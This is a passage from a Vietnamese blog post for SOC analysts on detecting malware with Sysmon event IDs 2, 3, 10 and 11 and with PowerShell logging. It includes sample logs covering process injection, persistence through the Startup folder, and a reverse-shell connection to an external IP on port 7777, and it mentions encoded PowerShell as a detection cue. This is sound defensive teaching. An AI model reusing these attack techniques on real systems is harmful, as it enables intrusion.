&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;CallTrace&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;C:\Windows\SYSTEM32\ntdll.dll+...|UNKNOWN(00007FF7CE73CB77)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Phân tích góc nhìn SOC:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Một file có tên ngẫu nhiên &lt;code&gt;ckjg.exe&lt;/code&gt; tải về từ thư mục Downloads lại đi chọc vào công cụ quản lý hệ thống &lt;code&gt;wmic.exe&lt;/code&gt; của Windows.&lt;/li&gt;
&lt;li&gt;Quyền truy cập là &lt;code&gt;0x1FFFFF&lt;/code&gt; (Full Access) – một quyền tối thượng cực kỳ đáng ngờ.&lt;/li&gt;
&lt;li&gt;Đáng chú ý nhất là trường &lt;code&gt;CallTrace&lt;/code&gt;. Nó hiển thị chuỗi thư viện được gọi, nhưng ở đoạn cuối lại xuất hiện vùng nhớ &lt;code&gt;UNKNOWN(00007FF7CE73CB77)&lt;/code&gt;. Điều này cho thấy mã thực thi đang chạy ở một vùng nhớ không xác định, một dấu hiệu kinh điển của việc mã độc giải nén (unpack) shellcode trực tiếp vào RAM để né phần mềm diệt virus quét file vật lý.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="2-event-id-11-file-creation-theo-dấu-các-điểm-neo-persistence"&gt;2. Event ID 11 (File Creation): Theo dấu các điểm neo Persistence
&lt;/h2&gt;&lt;p&gt;Hacker có thể chạy mã độc trên RAM, nhưng để duy trì sự hiện diện (Persistence) qua những lần khởi động lại máy, chúng buộc phải để lại một thứ gì đó trên ổ đĩa. Thay vì cấu hình Audit Object Access phức tạp để lấy Event ID 4663 của Windows, &lt;strong&gt;Sysmon Event ID 11&lt;/strong&gt; mặc định ghi lại toàn bộ các file thực thi được tạo ra.&lt;/p&gt;
&lt;p&gt;Dựa vào tiến trình đáng ngờ &lt;code&gt;ckjg.exe&lt;/code&gt; ở trên, nếu ta tra cứu tiếp Event ID 11, ta sẽ bắt được ngay hành động giấu file của nó:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;ProcessId&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;1460&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;Image&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;C:\Users\sarah.miller\Downloads\ckjg.exe&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;TargetFilename&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;C:\Users\sarah.miller\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeleteApp.url&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Chỉ với một log duy nhất, Sysmon EID 11 đã vạch trần việc mã độc vừa âm thầm tạo một file khởi động tên là &lt;code&gt;DeleteApp.url&lt;/code&gt; nhét thẳng vào thư mục Startup của người dùng để kích hoạt cùng hệ thống.&lt;/p&gt;
&lt;h2 id="3-event-id-3-network-connection-bắt-tại-trận-reverse-shell"&gt;3. Event ID 3 (Network Connection): Bắt tại trận Reverse Shell
&lt;/h2&gt;&lt;p&gt;Mã độc lấy cắp dữ liệu xong thì phải gửi ra ngoài, hoặc nó cần kết nối về máy chủ C2 (Command &amp;amp; Control) để nhận lệnh.&lt;/p&gt;
&lt;p&gt;Nhật ký tường lửa mặc định của Windows (EID 5156) thường sinh ra quá nhiều &amp;ldquo;rác&amp;rdquo; (noise), nhưng &lt;strong&gt;Sysmon Event ID 3&lt;/strong&gt; lại là một tuyệt tác vì nó gắn trực tiếp kết nối mạng đó với một tiến trình cụ thể.&lt;/p&gt;
&lt;p&gt;Khi soi tiếp tiến trình &lt;code&gt;ckjg.exe&lt;/code&gt; bằng EID 3, ta thu được:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;Protocol&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;tcp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;Source IP&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;10.10.57.125&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;(Máy nạn nhân)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;Destination IP&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;193.46.217.4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;Destination Port&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;7777&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;[Mẹo SOC]:&lt;/strong&gt; Cổng 7777 thường không phải là cổng dịch vụ chuẩn. Sự kết hợp giữa một tiến trình rác trong thư mục Downloads, thực hiện Process Injection (EID 10), thả file vào Startup (EID 11) và mở cổng TCP ra IP bên ngoài (EID 3) là một bằng chứng 100% về một cuộc tấn công Reverse Shell đang diễn ra.&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="4-đối-đối-phó-với-timestomping-và-fileless-nâng-cao"&gt;4. Đối đối phó với Timestomping và Fileless nâng cao
&lt;/h2&gt;&lt;h3 id="41-timestomping-giả-mạo-thời-gian"&gt;4.1 Timestomping (Giả mạo thời gian)
&lt;/h3&gt;&lt;p&gt;Trong quá trình điều tra Forensics, timeline là yếu tố sống còn. Để đánh lừa các nhà phân tích, hacker sử dụng kỹ thuật Timestomping – dùng công cụ sửa đổi ngày tạo (Creation Time) của mã độc lùi về quá khứ để trông giống như một tệp hệ thống đã tồn tại từ lâu.&lt;/p&gt;
&lt;p&gt;Ví dụ, trong một ổ đĩa FAT32 bị điều tra, ta có thể thấy một file &lt;code&gt;install.txt&lt;/code&gt; có thời gian truy cập cuối (Accessed Time) là năm 2018, nhưng thời gian tạo (Created Time) lại là năm 2025. Đây là dấu vết thao túng thời gian rõ rệt.&lt;/p&gt;
&lt;p&gt;Để bắt được hành vi này ngay lập tức, ta sử dụng &lt;strong&gt;Sysmon Event ID 2&lt;/strong&gt;. Nếu Windows Event ID 4670 chỉ đơn thuần ghi nhận thay đổi quyền/thuộc tính, thì Sysmon EID 2 được thiết kế đặc biệt để phát hiện và cảnh báo ngay khi có kẻ cố tình sửa đổi thời gian tạo của tệp tin.&lt;/p&gt;
&lt;h3 id="42-giám-sát-fileless-qua-powershell-event-id-4104"&gt;4.2 Giám sát Fileless qua PowerShell (Event ID 4104)
&lt;/h3&gt;&lt;p&gt;Khi nói đến mã độc không để lại file, PowerShell là công cụ bị lạm dụng nhiều nhất. Hacker sẽ truyền các chuỗi lệnh đã mã hóa Base64 thẳng vào RAM. Nếu chỉ nhìn Sysmon EID 1, bạn sẽ chỉ thấy câu lệnh &lt;code&gt;powershell -encodedCommand ...&lt;/code&gt; vô nghĩa.&lt;/p&gt;
&lt;p&gt;Để đối phó, SOC Analyst phải bật tính năng &lt;strong&gt;Script Block Logging (Event ID 4104)&lt;/strong&gt; trong nhánh &lt;code&gt;Microsoft-Windows-PowerShell/Operational&lt;/code&gt;. Ngay cả khi hacker mã hóa code, PowerShell bắt buộc phải tự giải mã nó trên RAM để thực thi. Lúc này, EID 4104 sẽ chộp lại và lưu trữ toàn bộ nội dung code dạng nguyên bản (clear-text).&lt;/p&gt;
&lt;p&gt;Bạn cũng có thể theo dõi &lt;strong&gt;Event ID 4103 (Module Logging)&lt;/strong&gt; để xem chính xác các tham số và biến số (Parameter Binding) nào đã được nạp vào, giúp truy vết tận gốc nguồn tài nguyên độc hại.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Bằng cách kết hợp Sysmon (EID 3, 10, 11) cùng các nhật ký giám sát PowerShell, bạn đã dựng lên một lưới điện an ninh dày đặc. Mã độc có thể đổi tên, giấu file, giả mạo thời gian hay chạy trên RAM, nhưng chúng không bao giờ có thể xóa bỏ hoàn toàn những chuỗi hành vi logic mà chúng tạo ra trên hệ điều hành. Chúc các bạn áp dụng hiệu quả vào hệ thống SIEM của mình để trở thành một Threat Hunter xuất sắc!&lt;/em&gt;&lt;/p&gt;</description></item></channel></rss>